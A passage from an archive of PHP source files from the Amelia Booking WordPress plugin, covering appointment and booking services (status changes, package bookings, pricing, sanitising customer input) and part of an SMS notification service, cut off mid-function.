@var CustomFieldApplicationService $customFieldService */ $customFieldService = $this->container->get('application.customField.service'); /** @var Collection $removedBookings */ $removedBookings = new Collection(); $removedBookings->addItem( CustomerBookingFactory::create($removedBooking->toArray()), $removedBooking->getId()->getValue() ); $appointment->setStatus(new BookingStatus(BookingStatus::REJECTED)); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if ($bookingApplicationService->isBookingApprovedOrPending($booking->getStatus()->getValue())) { $booking->setChangedStatus(new BooleanValueObject(true)); } } $customFieldService->deleteUploadedFilesForDeletedBookings( new Collection(), $appointment->getBookings() ); return [ Entities::APPOINTMENT => $appointment->toArray(), 'bookingsWithChangedStatus' => $removedBookings->toArray(), 'bookingDeleted' => true, 'appointmentDeleted' => true, ]; } /** * @param CustomerBooking $booking * @param Collection $ignoredBookings * @param int $serviceId * @param array $paymentData * * @return boolean * @throws InvalidArgumentException * @throws QueryExecutionException */ public function processPackageAppointmentBooking($booking, $ignoredBookings, $serviceId, &$paymentData) { /** @var PackageCustomerServiceRepository $packageCustomerServiceRepository */ $packageCustomerServiceRepository = $this->container->get('domain.bookable.packageCustomerService.repository'); /** @var CustomerBookingRepository $customerBookingRepository */ $customerBookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); if ((!$booking->getId() || !$ignoredBookings->keyExists($booking->getId()->getValue())) && $booking->getPackageCustomerService() && $booking->getPackageCustomerService()->getPackageCustomer() && $booking->getPackageCustomerService()->getPackageCustomer()->getId() ) { /** @var Collection $packageCustomerServices */ $packageCustomerServices = $packageCustomerServiceRepository->getByEntityId( $booking->getPackageCustomerService()->getPackageCustomer()->getId()->getValue(), 'packageCustomerId' ); $newPackageCustomerService = null; /** @var PackageCustomerService $packageCustomerService */ foreach ($packageCustomerServices->getItems() as $packageCustomerService) { if ($packageCustomerService->getServiceId()->getValue() === $serviceId) { $newPackageCustomerService = $packageCustomerService; break; } } if (!$newPackageCustomerService || !$packageApplicationService->isBookingAvailableForPurchasedPackage( $newPackageCustomerService->getId()->getValue(), $booking->getCustomerId()->getValue(), false ) ) { return false; } $booking->getPackageCustomerService()->setId(new Id($newPackageCustomerService->getId()->getValue())); if ($booking->getId() && $booking->getId()->getValue()) { $customerBookingRepository->updateFieldById( $booking->getId()->getValue(), $newPackageCustomerService->getId()->getValue(), 'packageCustomerServiceId' ); } $paymentData = null; } return true; } /** * @param Appointment $newAppointment * @param Appointment $oldAppointment * * @return bool * * @throws ContainerValueNotFoundException */ public function appointmentDetailsChanged($newAppointment, $oldAppointment) { if (($oldAppointment->getLocationId() ? $oldAppointment->getLocationId()->getValue() : null) !== ($newAppointment->getLocationId() ? $newAppointment->getLocationId()->getValue() : null)) { return true; } if ($oldAppointment->getLessonSpace() !== $newAppointment->getLessonSpace()) { return true; } return $oldAppointment->getProviderId()->getValue() !== $newAppointment->getProviderId()->getValue(); } /** * @param CustomerBooking $newBooking * @param CustomerBooking $oldBooking * * @return bool * * @throws ContainerValueNotFoundException */ public function bookingDetailsChanged($newBooking, $oldBooking) { if ($oldBooking->getPersons()->getValue() !== $newBooking->getPersons()->getValue()) { return true; } if (($oldBooking->getDuration() ? $oldBooking->getDuration()->getValue() : null) !== ($newBooking->getDuration() ? $newBooking->getDuration()->getValue() : null)) { return true; } if ($newBooking->getExtras()->length() !== $oldBooking->getExtras()->length()) { return true; } else { foreach ($newBooking->getExtras()->toArray() as $newExtra) { $extraIndex = array_search($newExtra['id'], array_column($oldBooking->getExtras()->toArray(), 'id')); if ($extraIndex === false || $newExtra['quantity'] !== $oldBooking->getExtras()->toArray()[$extraIndex]['quantity']) { return true; } } } $newCustomFields = $newBooking->getCustomFields() && $newBooking->getCustomFields()->getValue() ? json_decode($newBooking->getCustomFields()->getValue(), true) : null; $oldCustomFields = $oldBooking->getCustomFields() && $oldBooking->getCustomFields()->getValue() ? json_decode($oldBooking->getCustomFields()->getValue(), true) : null; if ($newCustomFields) { $newCustomFields = array_filter($newCustomFields, function($k) { return !empty($k['value']); }); } if ($oldCustomFields) { $oldCustomFields = array_filter($oldCustomFields, function($k) { return !empty($k['value']); }); } if (($newCustomFields ? count($newCustomFields) : null) !== ($oldCustomFields ? count($oldCustomFields) : null)) { return true; } else { foreach ((array)$newCustomFields as $index => $newCf) { $cfIndex = is_array($oldCustomFields) && !empty($oldCustomFields[$index]) ? $index : false; if ($cfIndex === false || $newCf['value'] !== $oldCustomFields[$cfIndex]['value']) { return true; } } } return false; } /** * @param Appointment $appointment * @param Service $service * * @return void * @throws InvalidArgumentException */ public function calculateAndSetAppointmentEnd($appointment, $service) { $appointment->setBookingEnd( new DateTimeValue( DateTimeService::getCustomDateTimeObject( $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') )->modify('+' . $this->getAppointmentLengthTime($appointment, $service) . ' second') ) ); } /** * @param Service $service * @param int $duration * * @return float * * @throws ContainerValueNotFoundException */ public function getBookingPriceForServiceDuration($service, $duration) { if ($duration && $service->getCustomPricing()) { $customPricing = json_decode($service->getCustomPricing()->getValue(), true); if ($customPricing !== null && $customPricing['enabled'] && array_key_exists($duration, $customPricing['durations']) ) { return $customPricing['durations'][$duration]['price']; } } return $service->getPrice()->getValue(); } /** * @param Appointment $appointment * @param Service $service * * @return int * * @throws ContainerValueNotFoundException */ public function getMaximumBookingDuration($appointment, $service) { $maximumDuration = 0; /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if (( $booking->getStatus()->getValue() === BookingStatus::APPROVED || $booking->getStatus()->getValue() === BookingStatus::PENDING ) && $booking->getDuration() && $booking->getDuration()->getValue() && $booking->getDuration()->getValue() > $maximumDuration ) { $maximumDuration = $booking->getDuration()->getValue(); } } return $maximumDuration ? $maximumDuration : $service->getDuration()->getValue(); } /** * @param int $paymentId * * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function updateBookingStatus($paymentId, $newStatus = BookingStatus::APPROVED) { /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var AppointmentDomainService $appointmentDS */ $appointmentDS = $this->container->get('domain.booking.appointment.service'); /** @var Payment $payment */ $payment = $paymentRepository->getById($paymentId); if ($payment->getCustomerBookingId() && $payment->getEntity()->getValue() === Entities::APPOINTMENT) { $id = $payment->getCustomerBookingId()->getValue(); $bookingRepository->updateFieldById($id, $newStatus, 'status'); $appointments = $appointmentRepository->getFiltered( [ 'bookingId' => $id, 'skipCustomers' => true, 'skipPayments' => true, 'skipExtras' => true, 'skipCoupons' => true ] ); /** @var Appointment $appointment **/ $appointment = $appointments->getItem($appointments->keys()[0]); if ($appointment instanceof Appointment) { $appointmentStatus = $appointmentDS->getAppointmentStatusWhenEditAppointment( $appointment->getService(), $appointmentDS->getBookingsStatusesCount($appointment) ); $appointmentRepository->updateFieldById($appointment->getId()->getValue(), $appointmentStatus, 'status'); } } if ($payment->getPackageCustomerId() && $payment->getEntity()->getValue() === Entities::APPOINTMENT) { /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); $id = $payment->getPackageCustomerId()->getValue(); $packageCustomerRepository->updateFieldById($id, $newStatus, 'status'); } } } Services/Booking/BookingApplicationService.php 0000666 00000061303 15165412624 0015542 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Booking; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Bookable\Service\PackageFactory; use AmeliaBooking\Domain\Factory\Booking\Appointment\AppointmentFactory; use AmeliaBooking\Domain\Factory\Booking\Appointment\CustomerBookingFactory; use AmeliaBooking\Domain\Factory\Booking\Event\EventFactory; use AmeliaBooking\Domain\Factory\User\UserFactory; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingExtraRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use Slim\Exception\ContainerValueNotFoundException; /** * Class BookingApplicationService * * @package AmeliaBooking\Application\Services\Booking */ class BookingApplicationService { private $container; /** * AppointmentApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param CustomerBooking $booking * * @return boolean * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function delete($booking) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var CustomerBookingExtraRepository $customerBookingExtraRepository */ $customerBookingExtraRepository = $this->container->get('domain.booking.customerBookingExtra.repository'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); /** @var Collection $payments */ $payments = $paymentRepository->getByEntityId($booking->getId()->getValue(), 'customerBookingId'); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { if (!$paymentAS->delete($payment)) { return false; } } if (!$customerBookingExtraRepository->deleteByEntityId($booking->getId()->getValue(), 'customerBookingId') || !$bookingRepository->delete($booking->getId()->getValue()) ) { return false; } return true; } /** * @param array $appointment * @param array $oldAppointment * * @return array */ public function getBookingsWithChangedStatus(&$appointment, $oldAppointment) { $bookings = []; foreach ((array)$appointment['bookings'] as $key => $booking) { $oldBookingKey = array_search($booking['id'], array_column($oldAppointment['bookings'], 'id'), true); $changedStatus = $booking['status'] !== $oldAppointment['bookings'][$oldBookingKey]['status']; $oldCanceledOrRejected = $this->isBookingCanceledOrRejectedOrNoShow( $oldAppointment['bookings'][$oldBookingKey]['status'] ); $newCanceledOrRejected = $this->isBookingCanceledOrRejectedOrNoShow( $appointment['bookings'][$key]['status'] ); if (empty($appointment['bookings'][$key]['isChangedStatus'])) { $appointment['bookings'][$key]['isChangedStatus'] = false; } if ($oldBookingKey === false || ($changedStatus && !($oldCanceledOrRejected && $newCanceledOrRejected))) { $appointment['bookings'][$key]['isChangedStatus'] = true; $booking['isChangedStatus'] = true; $bookings[] = $booking; } } foreach ((array)$oldAppointment['bookings'] as $oldBooking) { $newBookingKey = array_search($oldBooking['id'], array_column($appointment['bookings'], 'id'), true); if (($newBookingKey === false) && $this->isBookingApprovedOrPending($oldBooking['status'])) { $oldBooking['status'] = BookingStatus::REJECTED; $oldBooking['isChangedStatus'] = true; $bookings[] = $oldBooking; } } return $bookings; } /** * @param string $bookingStatus * * @return boolean */ public function isBookingApprovedOrPending($bookingStatus) { return $bookingStatus === BookingStatus::APPROVED || $bookingStatus === BookingStatus::PENDING; } /** * @param string $bookingStatus * * @return boolean */ public function isBookingCanceledOrRejectedOrNoShow($bookingStatus) { return $bookingStatus === BookingStatus::CANCELED || $bookingStatus === BookingStatus::REJECTED || $bookingStatus === BookingStatus::NO_SHOW; } /** * @param $bookingsArray * * @return array */ public function filterApprovedBookings($bookingsArray) { return array_intersect_key( $bookingsArray, array_flip(array_keys(array_column($bookingsArray, 'status'), 'approved')) ); } /** * @param array $bookingsArray * @param array $statuses * * @return mixed */ public function removeBookingsByStatuses($bookingsArray, $statuses) { foreach ($statuses as $status) { foreach ($bookingsArray as $bookingKey => $bookingArray) { if ($bookingArray['status'] === $status) { unset($bookingsArray[$bookingKey]); } } } return $bookingsArray; } /** * @param array $data * * @return array|null * @throws \Exception */ public function getAppointmentData($data) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); if (isset($data['utcOffset']) && $data['utcOffset'] === '') { $data['utcOffset'] = null; } if (empty($data['recurring'])) { $data['recurring'] = []; } if (empty($data['package'])) { $data['package'] = []; } if (isset($data['bookings'][0]['customFields']) && !$data['bookings'][0]['customFields']) { $data['bookings'][0]['customFields'] = null; } if (isset($data['bookings'][0]['utcOffset']) && $data['bookings'][0]['utcOffset'] === '') { $data['bookings'][0]['utcOffset'] = null; } if (isset($data['timeZone']) && $data['timeZone'] === '') { $data['timeZone'] = null; } if (isset($data['utc']) && $data['utc'] === '') { $data['utc'] = null; } if (!empty($data['bookings'][0]['customer']['firstName'])) { $data['bookings'][0]['customer']['firstName'] = sanitize_text_field($data['bookings'][0]['customer']['firstName']); } if (!empty($data['bookings'][0]['customer']['lastName'])) { $data['bookings'][0]['customer']['lastName'] = sanitize_text_field($data['bookings'][0]['customer']['lastName']); } if (!empty($data['bookings'][0]['customer']['email'])) { $data['bookings'][0]['customer']['email'] = sanitize_email($data['bookings'][0]['customer']['email']); } if (!empty($data['bookings'][0]['customer']['phone'])) { $data['bookings'][0]['customer']['phone'] = sanitize_text_field($data['bookings'][0]['customer']['phone']); } if (!empty($data['bookings'][0]['customer']['countryPhoneIso'])) { $data['bookings'][0]['customer']['countryPhoneIso'] = sanitize_text_field($data['bookings'][0]['customer']['countryPhoneIso']); } if (!empty($data['bookings'][0]['customer']['pictureThumbPath'])) { $data['bookings'][0]['customer']['pictureThumbPath'] = sanitize_url($data['bookings'][0]['customer']['pictureThumbPath']); } if (!empty($data['bookings'][0]['customer']['pictureFullPath'])) { $data['bookings'][0]['customer']['pictureFullPath'] = sanitize_url($data['bookings'][0]['customer']['pictureFullPath']); } if (!empty($data['bookings'][0]['customer']['note'])) { $data['bookings'][0]['customer']['note'] = sanitize_text_field($data['bookings'][0]['customer']['note']); } if (!empty($data['bookings'][0]['customFields'])) { $customFields = $data['bookings'][0]['customFields']; foreach ($customFields as $customFieldId => $customField) { foreach ($customField as $key => $value) { if (!in_array($key, ['type', 'value', 'label'])) { unset($customFields[$customFieldId][$key]); continue 2; } } if (in_array( $customField['type'], ['text-area', 'file', 'text', 'select', 'checkbox', 'radio', 'datepicker', 'address'] )) { if ($customField['type'] === 'file') { if (isset($customField['value'])) { foreach ($customFields[$customFieldId]['value'] as $index => $value) { $customFields[$customFieldId]['value'][$index] = [ 'name' => sanitize_text_field($value['name']) ]; } } } elseif ($customField['type'] === 'checkbox') { if (isset($customField['value'])) { foreach ($customFields[$customFieldId]['value'] as $index => $value) { $customFields[$customFieldId]['value'][$index] = sanitize_text_field($value); } } } else { $customFields[$customFieldId]['value'] = sanitize_text_field($customFields[$customFieldId]['value']); } } else { unset($customFields[$customFieldId]); } } $data['bookings'][0]['customFields'] = $customFields; } if (isset($data['bookings'][0]['customer']['id']) && $data['bookings'][0]['customer']['id'] === '') { $data['bookings'][0]['customer']['id'] = null; } if (isset($data['bookings'][0]['customer']['phone']) && $data['bookings'][0]['customer']['phone'] === '') { $data['bookings'][0]['customer']['phone'] = null; } if (isset($data['bookings'][0]['customerId']) && $data['bookings'][0]['customerId'] === '') { $data['bookings'][0]['customerId'] = null; } if (isset($data['bookings'][0]['couponCode']) && $data['bookings'][0]['couponCode'] === '') { $data['bookings'][0]['couponCode'] = null; } if (isset($data['locationId']) && $data['locationId'] === '') { $data['locationId'] = null; } if (isset($data['recaptcha']) && $data['recaptcha'] === '') { $data['recaptcha'] = null; } if (isset($data['recurring'])) { foreach ($data['recurring'] as $key => $recurringData) { if (isset($data['recurring'][$key]['locationId']) && $data['recurring'][$key]['locationId'] === '' ) { $data['recurring'][$key]['locationId'] = null; } } } if (isset($data['package'])) { foreach ($data['package'] as $key => $recurringData) { if (isset($data['package'][$key]['locationId']) && $data['package'][$key]['locationId'] === '' ) { $data['package'][$key]['locationId'] = null; } } } // Convert UTC slot to slot in TimeZone based on Settings if ((isset($data['bookingStart']) && $data['bookings'][0]['utcOffset'] !== null && $settingsService->getSetting('general', 'showClientTimeZone')) || (isset($data['utc']) ? (isset($data['bookingStart']) && $data['utc'] === true) : false) ) { $data['bookingStart'] = DateTimeService::getCustomDateTimeFromUtc( $data['bookingStart'] ); if (isset($data['recurring'])) { foreach ($data['recurring'] as $key => $recurringData) { $data['recurring'][$key]['bookingStart'] = DateTimeService::getCustomDateTimeFromUtc( $recurringData['bookingStart'] ); } } } elseif (isset($data['utc']) && $data['utc'] === false && !empty($data['timeZone'])) { $data['bookingStart'] = DateTimeService::getDateTimeObjectInTimeZone( $data['bookingStart'], $data['timeZone'] )->setTimezone(DateTimeService::getTimeZone())->format('Y-m-d H:i:s'); } if ($settingsService->getSetting('general', 'showClientTimeZone') && !empty($data['package']) ) { foreach ($data['package'] as $key => $recurringData) { $data['package'][$key]['bookingStart'] = DateTimeService::getCustomDateTimeFromUtc( $recurringData['bookingStart'] ); } } return $data; } /** * @param array $data * * @return Appointment|Event * * @throws QueryExecutionException * @throws NotFoundException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException */ public function getReservationEntity($data) { /** @var Appointment|Event $reservation */ $reservation = null; switch ($data['type']) { case Entities::APPOINTMENT: $reservation = AppointmentFactory::create($data); break; case Entities::EVENT: $reservation = EventFactory::create($data); break; case Entities::PACKAGE: $reservation = PackageFactory::create($data); break; } /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var Collection $indexedBookings */ $indexedBookings = new Collection(); /** @var CustomerBooking $booking */ foreach ($reservation->getBookings()->getItems() as $booking) { if ($booking->getCustomer() === null && $booking->getCustomerId() !== null) { /** @var Customer $customer */ $customer = $userRepository->getById($booking->getCustomerId()->getValue()); $booking->setCustomer(UserFactory::create(array_merge($customer->toArray(), ['type' => 'customer']))); } $token = $bookingRepository->getToken($booking->getId()->getValue()); if (!empty($token['token'])) { $booking->setToken(new Token($token['token'])); } $indexedBookings->addItem($booking, $booking->getId()->getValue()); } $reservation->setBookings($indexedBookings); $locationId = $reservation->getLocation() === null && $reservation->getLocationId() !== null ? $reservation->getLocationId()->getValue() : null; switch ($reservation->getType()->getValue()) { case Entities::APPOINTMENT: if ($reservation->getService() === null && $reservation->getServiceId() !== null) { /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var Service $service */ $service = $bookableAS->getAppointmentService( $reservation->getServiceId()->getValue(), $reservation->getProviderId()->getValue() ); $reservation->setService($service); } if ($reservation->getProvider() === null && $reservation->getProviderId() !== null) { /** @var Provider $provider */ $provider = $providerRepository->getByCriteriaWithSchedule( [ Entities::PROVIDERS => [$reservation->getProviderId()->getValue() ] ] )->getItem($reservation->getProviderId()->getValue()); $reservation->setProvider($provider); } if ($reservation->getLocation() === null && $reservation->getLocationId() === null && $reservation->getProvider() !== null && $reservation->getProvider()->getLocationId() !== null ) { $locationId = $reservation->getProvider()->getLocationId()->getValue(); } break; } if ($locationId !== null) { /** @var Location $location */ $location = $locationRepository->getById($locationId); $reservation->setLocation($location); } return $reservation; } /** * @param array $data * * @return CustomerBooking * * @throws QueryExecutionException * @throws NotFoundException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException */ public function getBookingEntity($data) { /** @var CustomerBooking $booking */ $booking = CustomerBookingFactory::create($data); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); if ($booking->getCustomerId() !== null) { /** @var Customer $customer */ $customer = $userRepository->getById($booking->getCustomerId()->getValue()); $booking->setCustomer(UserFactory::create(array_merge($customer->toArray(), ['type' => 'customer']))); } $token = $bookingRepository->getToken($booking->getId()->getValue()); if (!empty($token['token'])) { $booking->setToken(new Token($token['token'])); } return $booking; } /** * @param Appointment|Event $reservation * * @return void * * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException */ public function setReservationEntities($reservation) { /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var CategoryRepository $categoryRepository */ $categoryRepository = $this->container->get('domain.bookable.category.repository'); /** @var CustomerBooking $booking */ foreach ($reservation->getBookings()->getItems() as $booking) { if ($booking->getCustomer() === null && $booking->getCustomerId() !== null) { /** @var Customer $customer */ $customer = $userRepository->getById($booking->getCustomerId()->getValue()); $booking->setCustomer(UserFactory::create(array_merge($customer->toArray(), ['type' => 'customer']))); } } $locationId = $reservation->getLocation() === null && $reservation->getLocationId() !== null ? $reservation->getLocationId()->getValue() : null; switch ($reservation->getType()->getValue()) { case Entities::APPOINTMENT: if ($reservation->getService() === null && $reservation->getServiceId() !== null) { /** @var BookableApplicationService $bookableAS */ $bookableAS = $this->container->get('application.bookable.service'); /** @var Service $service */ $service = $bookableAS->getAppointmentService( $reservation->getServiceId()->getValue(), $reservation->getProviderId()->getValue() ); if ($service->getCategory() === null && $service->getCategoryId() !== null) { /** @var Category $category */ $category = $categoryRepository->getById($service->getCategoryId()->getValue()); $service->setCategory($category); } $reservation->setService($service); } if ($reservation->getProvider() === null && $reservation->getProviderId() !== null) { /** @var Collection $providers */ $providers = $providerRepository->getByCriteriaWithSchedule( [ Entities::PROVIDERS => [$reservation->getProviderId()->getValue()] ] ); /** @var Provider $provider */ $provider = count($providers->getItems()) ? $providers->getItem($reservation->getProviderId()->getValue()) : null; if ($provider) { $reservation->setProvider($provider); } } if ($reservation->getLocation() === null && $reservation->getLocationId() === null && $reservation->getProvider() !== null && $reservation->getProvider()->getLocationId() !== null ) { $locationId = $reservation->getProvider()->getLocationId()->getValue(); } break; } if ($locationId !== null) { /** @var Location $location */ $location = $locationRepository->getById($locationId); $reservation->setLocation($location); } } /** * @param Collection $bookings * * @return boolean */ public function isBookingAdded($bookings) { foreach ($bookings->getItems() as $booking) { if ($booking->getId()->getValue() === 0) return true; } return false; } } Services/Notification/SMSNotificationService.php 0000666 00000037672 15165412624 0016051 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Notification; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Application\Services\Placeholder\PlaceholderService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Notification\Notification; use AmeliaBooking\Domain\Entity\Notification\NotificationLog; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Notification\SMSAPIServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\NotificationStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationLogRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationSMSHistoryRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class SMSNotificationService * * @package AmeliaBooking\Application\Services\Notification */ class SMSNotificationService extends AbstractNotificationService { /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param array $appointmentArray * @param Notification $notification * @param bool $logNotification * @param int|null $bookingKey * * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function sendNotification( $appointmentArray, $notification, $logNotification, $bookingKey = null, $allBookings = null ) { /** @var \AmeliaBooking\Application\Services\Settings\SettingsService $settingsAS */ $settingsAS = $this->container->get('application.settings.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get("application.placeholder.{$appointmentArray['type']}.service"); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $data = $placeholderService->getPlaceholdersData( $appointmentArray, $bookingKey, 'sms', null, $allBookings ); $isCustomerPackage = isset($appointmentArray['isForCustomer']) && $appointmentArray['isForCustomer']; if ($appointmentArray['type'] === Entities::PACKAGE) { if (!empty($appointmentArray['recurring'][0]['booking']['info']) && $isCustomerPackage) { $info = $appointmentArray['recurring'][0]['booking']['info']; $infoArray = json_decode($info, true); if (!empty($infoArray['phone'])) { $appointmentArray['customer']['phone'] = $infoArray['phone']; } } else { $info = $isCustomerPackage ? json_encode($appointmentArray['customer']) : null; } } else { $info = $bookingKey !== null ? $appointmentArray['bookings'][$bookingKey]['info'] : null; } $notificationContent = $helperService->getBookingTranslation( $helperService->getLocaleFromBooking($info), $notification->getTranslations() ? $notification->getTranslations()->getValue() : null, 'content' ) ?: $notification->getContent()->getValue(); $text = $placeholderService->applyPlaceholders($notificationContent, $data); $users = $this->getUsersInfo( $notification->getSendTo()->getValue(), $appointmentArray, $bookingKey, $data ); foreach ($users as $user) { if ($user['phone']) { $reParsedData = $appointmentArray['type'] === Entities::PACKAGE && !(isset($appointmentArray['isForCustomer']) && $appointmentArray['isForCustomer']) ? $placeholderService->reParseContentForProvider( $appointmentArray, '', $text, $user['id'] ) : [ 'body' => $text, ]; try { $this->saveAndSend( $notification, $user, $appointmentArray, $reParsedData, $logNotification, $user['phone'] ); $additionalPhoneNumbers = $settingsAS->getBccSms(); foreach ($additionalPhoneNumbers as $phoneNumber) { $this->saveAndSend( $notification, null, $appointmentArray, $reParsedData, $logNotification, $phoneNumber ); } } catch (QueryExecutionException $e) { } catch (ContainerException $e) { } } } } /** * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendUndeliveredNotifications() { /** @var NotificationLogRepository $notificationLogRepository */ $notificationLogRepository = $this->container->get('domain.notificationLog.repository'); /** @var NotificationSMSHistoryRepository $notificationsSMSHistoryRepo */ $notificationsSMSHistoryRepo = $this->container->get('domain.notificationSMSHistory.repository'); /** @var Collection $undeliveredNotifications */ $undeliveredNotifications = $notificationLogRepository->getUndeliveredNotifications('sms'); /** @var SMSAPIService $smsApiService */ $smsApiService = $this->container->get('application.smsApi.service'); /** @var NotificationLog $undeliveredNotification */ foreach ($undeliveredNotifications->getItems() as $undeliveredNotification) { try { $data = json_decode($undeliveredNotification->getData()->getValue(), true); if ($history = $notificationsSMSHistoryRepo->getById($data['historyId'])) { $apiResponse = $smsApiService->send( $history['phone'], $data['body'], AMELIA_ACTION_URL . '/notifications/sms/history/' . $data['historyId'] ); if ($apiResponse->status === 'OK') { $this->updateSmsHistory($data['historyId'], $apiResponse); $notificationLogRepository->updateFieldById( $undeliveredNotification->getId()->getValue(), 1, 'sent' ); } } } catch (Exception $e) { } } } /** * @throws QueryExecutionException * @throws InvalidArgumentException * @throws Exception */ public function sendBirthdayGreetingNotifications() { /** @var Collection $notifications */ $notifications = $this->getByNameAndType('customer_birthday_greeting', $this->type); /** @var Notification $notification */ $notification = $notifications->getItem($notifications->keys()[0]); // Check if notification is enabled and it is time to send notification if ($notification->getStatus()->getValue() === NotificationStatus::ENABLED && $notification->getTime() && DateTimeService::getNowDateTimeObject() >= DateTimeService::getCustomDateTimeObject($notification->getTime()->getValue()) ) { /** @var NotificationLogRepository $notificationLogRepo */ $notificationLogRepo = $this->container->get('domain.notificationLog.repository'); /** @var NotificationSMSHistoryRepository $notificationsSMSHistoryRepo */ $notificationsSMSHistoryRepo = $this->container->get('domain.notificationSMSHistory.repository'); /** @var SMSAPIService $smsApiService */ $smsApiService = $this->container->get('application.smsApi.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get('application.placeholder.appointment.service'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $customers = $notificationLogRepo->getBirthdayCustomers($this->type); $companyData = $placeholderService->getCompanyData(); $customersArray = $customers->toArray(); foreach ($customersArray as $bookingKey => $customerArray) { $data = [ 'customer_email' => $customerArray['email'], 'customer_first_name' => $customerArray['firstName'], 'customer_last_name' => $customerArray['lastName'], 'customer_full_name' => $customerArray['firstName'] . ' ' . $customerArray['lastName'], 'customer_phone' => $customerArray['phone'], 'customer_id' => $customerArray['id'], ]; /** @noinspection AdditionOperationOnArraysInspection */ $data += $companyData; $text = $placeholderService->applyPlaceholders( $notification->getContent()->getValue(), $data ); if ($data['customer_phone']) { try { $historyId = 